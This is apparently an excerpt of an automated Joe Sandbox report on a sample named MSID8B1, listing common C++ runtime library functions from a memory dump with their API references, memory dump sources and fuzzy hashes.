Instruction Fuzzy Hash: B701AD319001299BCB05AB6498116BE77F4AF84710F25068AF5246B2D2CF749E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B3EA02 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3EA09
std::_Lockit::_Lockit.LIBCPMT ref: 00B3EA13

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3EA64
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3EA84

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 5aa732bc641c95cf96bdec624a69e03567055401e1c8dcdf2cd6418cf86782ee
Instruction ID: 8531acd869e8fdbdabd13aef8738826bf1f9a8b95d609e36e9a9ecbd96e67f08
Opcode Fuzzy Hash: 5aa732bc641c95cf96bdec624a69e03567055401e1c8dcdf2cd6418cf86782ee
Instruction Fuzzy Hash: 7D01AD359001299BCB11FB6498516AEBBF0FF94720F29058AE4246B2D1CF749E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32BB5 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32BBC
std::_Lockit::_Lockit.LIBCPMT ref: 00B32BC6

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32C17
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32C37

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d3a1e60497cc2de0bb292f93e0b3d86d2479b9b273117067a464e1fc6e536e74
Instruction ID: 059e2d31cdedc5100b31d74f30e80324d152d702a73119bf9b311d9e48cc1aa9
Opcode Fuzzy Hash: d3a1e60497cc2de0bb292f93e0b3d86d2479b9b273117067a464e1fc6e536e74
Instruction Fuzzy Hash: 2501C031901129DBCB15FB6498156BEB7F0FF84710F344489E5146B2D1CF749E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3EBC1 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3EBC8
std::_Lockit::_Lockit.LIBCPMT ref: 00B3EBD2

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3EC23
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3EC43

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: dffe14bb4cee16a5592f318b544bfe6a6c261cbd2ed05f9b42f0613bddbabbc0
Instruction ID: 74495b79dacfc5589ddf93d45af4a937c8559bc0309d6d9bdc28cd8bf913f414
Opcode Fuzzy Hash: dffe14bb4cee16a5592f318b544bfe6a6c261cbd2ed05f9b42f0613bddbabbc0
Instruction Fuzzy Hash: C201AD329001299BCB15AB6498166BE77F1FF84720F680489E528AB2D2CF74DE008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32CDF Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32CE6
std::_Lockit::_Lockit.LIBCPMT ref: 00B32CF0

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32D41
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32D61

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 90ac7c59f51b54928638c9c1eadcc9e62de7fce1e5fccb9dbeb935c40d0d6b1f
Instruction ID: 776f860393916df6847815d1f980e335850fc58d197e4a34f4c08c037bea1a76
Opcode Fuzzy Hash: 90ac7c59f51b54928638c9c1eadcc9e62de7fce1e5fccb9dbeb935c40d0d6b1f
Instruction Fuzzy Hash: 1B01C031900229DBCB15FB6498516BE77F1FF84720F340599E5187B292CFB49E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B3EC56 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00B3EC67

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3ECB8
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3ECD8

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d154ebc02a0c0e525bd82a8463115ef4b3c162e8f7d2c9fcbb71f550f5d9338c
Instruction ID: a0150c51dce9c715e802bac4796c14dcee65737c62ed83a0adbb768d447c9391
Opcode Fuzzy Hash: d154ebc02a0c0e525bd82a8463115ef4b3c162e8f7d2c9fcbb71f550f5d9338c
Instruction Fuzzy Hash: FB01A932900129DBCB01AB649851ABEB7F1FF84720F68048AF4296B2D2CF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32C4A Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32C51
std::_Lockit::_Lockit.LIBCPMT ref: 00B32C5B

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32CAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32CCC

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d49b9344c37b05382790368201fe10d725bf4f6b0ce9d3b9a2b86edb99de16fe
Instruction ID: 9d8c5d38bffd424507ef1b912c6c0d9fdef3ede0fe5d07f2278c3fa79eff7e60
Opcode Fuzzy Hash: d49b9344c37b05382790368201fe10d725bf4f6b0ce9d3b9a2b86edb99de16fe
Instruction Fuzzy Hash: 6D018C36901129DBCB15EBA498516BEB7F1FF84720F290489F5196B391CF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32E9E Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32EA5
std::_Lockit::_Lockit.LIBCPMT ref: 00B32EAF

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32F00
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32F20

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: b2127bc789254d080f9b7c6e3fa2a38862e4d2fb5b0b32a8d1b88f5dd26af55e
Instruction ID: 24032b470fbc4df910af6e065e9dd253715a532fb4c26bb95f5d4d7d81f01e8a
Opcode Fuzzy Hash: b2127bc789254d080f9b7c6e3fa2a38862e4d2fb5b0b32a8d1b88f5dd26af55e
Instruction Fuzzy Hash: 2401C0359001299BCB01EB64D8156BE77F0FF84710F340489F5196B2D1DF749E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32E09 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32E10
std::_Lockit::_Lockit.LIBCPMT ref: 00B32E1A

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32E6B
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32E8B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 4421d14e76a817d171b20ec907d89d99b69355cef2dbeebbeed866ad8a36b9ee
Instruction ID: 24f755dd18bac16df950237c982d0dda8b7ede0a9499bb2599461cceb159f8d8
Opcode Fuzzy Hash: 4421d14e76a817d171b20ec907d89d99b69355cef2dbeebbeed866ad8a36b9ee
Instruction Fuzzy Hash: 5101C036900529DBCB11EB64E8126BEB7F1FF94B10F280989E5187B291CF749E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B32F33 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32F3A
std::_Lockit::_Lockit.LIBCPMT ref: 00B32F44

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32F95
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32FB5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 0b371dbf99a9530554d8d40d085c65915411117b2ba3495efa996dbdc79ada35
Instruction ID: bcb8e2c79bbaa6ba6b62e2ea8c64073442d9151668506ed1f3b758047eb10403
Opcode Fuzzy Hash: 0b371dbf99a9530554d8d40d085c65915411117b2ba3495efa996dbdc79ada35
Instruction Fuzzy Hash: 4C01CC36A10129DFCB11EB649811ABEB7F1FF94720F280489F418AB292CF749E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B63686 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00B63053,?,00000001,?,?,?,00B62198,?,?,00000000), ref: 00B6369D
GetLastError.KERNEL32(?,00B63053,?,00000001,?,?,?,00B62198,?,?,00000000,?,?,?,00B6271F,?), ref: 00B636A9

Part of subcall function 00B6366F: CloseHandle.KERNEL32(FFFFFFFE,00B636B9,?,00B63053,?,00000001,?,?,?,00B62198,?,?,00000000,?,?), ref: 00B6367F

___initconout.LIBCMT ref: 00B636B9

Part of subcall function 00B63631: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B63660,00B63040,?,?,00B62198,?,?,00000000,?), ref: 00B63644

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00B63053,?,00000001,?,?,?,00B62198,?,?,00000000,?), ref: 00B636CE

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1f88f4822dc35fac3268bda839a04462319ac7a964c50e4fcd58e58d76f26ffc
Instruction ID: 4cdddbcc9ad2bf1aa66cd5395394c505cc701a2323d5255b478d9312c52348c4
Opcode Fuzzy Hash: 1f88f4822dc35fac3268bda839a04462319ac7a964c50e4fcd58e58d76f26ffc
Instruction Fuzzy Hash: F3F03036549118BBCF222F99DC04D893FE6FB097A1B0040A4FE1997270CE368A60EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B42D20 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00B42CBD,00000064), ref: 00B42D43
LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,00B42CBD,00000064,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42D4D
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00B42CBD,00000064,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42D5E
EnterCriticalSection.KERNEL32(00B7DD3C,?,00B42CBD,00000064,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42D65

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: d4d4a5e16fbeed788ddca84f0a97ee79e1c2eecee95a2b7aee1350d63cbce7e0
Instruction ID: 4056a53c670e9665c010d73355c5445f24f7794ef0474d4ac2efdbf8f4a553d5
Opcode Fuzzy Hash: d4d4a5e16fbeed788ddca84f0a97ee79e1c2eecee95a2b7aee1350d63cbce7e0
Instruction Fuzzy Hash: 2BE04832585524FBCB322B54EC08A9E3F79EF05B95B0040F1F50D671B1CFA55A409BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00B2EC87 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B2EC8E

Part of subcall function 00B2D87C: __EH_prolog3.LIBCMT ref: 00B2D883
Part of subcall function 00B2D87C: std::_Lockit::_Lockit.LIBCPMT ref: 00B2D88D
Part of subcall function 00B2D87C: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2D8FE

_Find_elem.LIBCPMT ref: 00B2EE8A

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00B2ECF6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: ff5ea228b7adff5152dd96b657396dd584260e56b49bee3bd9c7416847635c6e
Instruction ID: fb123db7a0e7c2af36f7c65588c34efb96eb5d308d589612934a183c56aa6b05
Opcode Fuzzy Hash: ff5ea228b7adff5152dd96b657396dd584260e56b49bee3bd9c7416847635c6e
Instruction Fuzzy Hash: 34C18334D042A88AEF15EFA5E5507ECBBF2AF55300F2940E9D8A96B243C734DD46C751

Uniqueness

Uniqueness Score: -1.00%

Function 00B362BE Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B362C8

Part of subcall function 00B32D74: __EH_prolog3.LIBCMT ref: 00B32D7B
Part of subcall function 00B32D74: std::_Lockit::_Lockit.LIBCPMT ref: 00B32D85
Part of subcall function 00B32D74: std::_Lockit::~_Lockit.LIBCPMT ref: 00B32DF6

_Find_elem.LIBCPMT ref: 00B36502

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00B3633F

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: 1e3ab7f8948a3bee7bfff94aba4c9b2c8803221a30ed258014383898c5c24e0c
Instruction ID: 50316394fcb312761cf160616e7b46ec305f309de875fedfb40498d9388c9da1
Opcode Fuzzy Hash: 1e3ab7f8948a3bee7bfff94aba4c9b2c8803221a30ed258014383898c5c24e0c
Instruction Fuzzy Hash: 0BC17270E04258AADF259F68C8817ECBBF1BF11304F64C0D9D889AB386DB749D85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00B36694 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3669E

Part of subcall function 00B2B8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00B2B8DD
Part of subcall function 00B2B8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00B2B900
Part of subcall function 00B2B8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B928
Part of subcall function 00B2B8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B9B7

_Find_elem.LIBCPMT ref: 00B368D8

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00B36715

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3042121994-2799312399
Opcode ID: 60b521ffba782ba7dd5e31daf2edd5d6698e94671651b1c121fc46346abf8b73
Instruction ID: 5b1f96b980daf64a8978216a322fae2c841ac663ff8d054a786daf57c0ea193b
Opcode Fuzzy Hash: 60b521ffba782ba7dd5e31daf2edd5d6698e94671651b1c121fc46346abf8b73
Instruction Fuzzy Hash: 7CC17230E04258ABDF259F64C8917ACBBF2FF55304F64C1DAD889AB282DB749D85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B51A6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B51AFD

Strings

pow, xrefs: 00B51AD5, 00B51AF2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 3ad6e5e56230b20eaef4ccd19154a982588d1e0d51e072069d52fd7b306a448d
Instruction ID: 7909694e70566e1ad3ea9b4d8861c647b74ba03404be2ba8e25dabef4f03ddc2
Opcode Fuzzy Hash: 3ad6e5e56230b20eaef4ccd19154a982588d1e0d51e072069d52fd7b306a448d
Instruction Fuzzy Hash: AA515A61A091019ACB12771CC95137A6BE4EB40703F204FD9ECD1962E9EF368CDD9A4B

Uniqueness

Uniqueness Score: -1.00%

Function 00B41E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00B41FD1

Strings

-, xrefs: 00B41FFF
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00B41F2F, 00B41F66, 00B41F6B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 7f5b1617366d2b43421e3c184f17b31d26585b0d6f4451cf826cc0bf80851ce8
Instruction ID: 0c95ff44273f1044edecfe4fbb399fe1dd40a97c175048a49b5ed8dbffef7dc1
Opcode Fuzzy Hash: 7f5b1617366d2b43421e3c184f17b31d26585b0d6f4451cf826cc0bf80851ce8
Instruction Fuzzy Hash: 2751BF30F04285AADF258FAC84817BEBFF9AF05340F5448DAE891D7241C7758B86EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B2BD90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00B2BF6E

Strings

false, xrefs: 00B2BE95
true, xrefs: 00B2BEAB

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
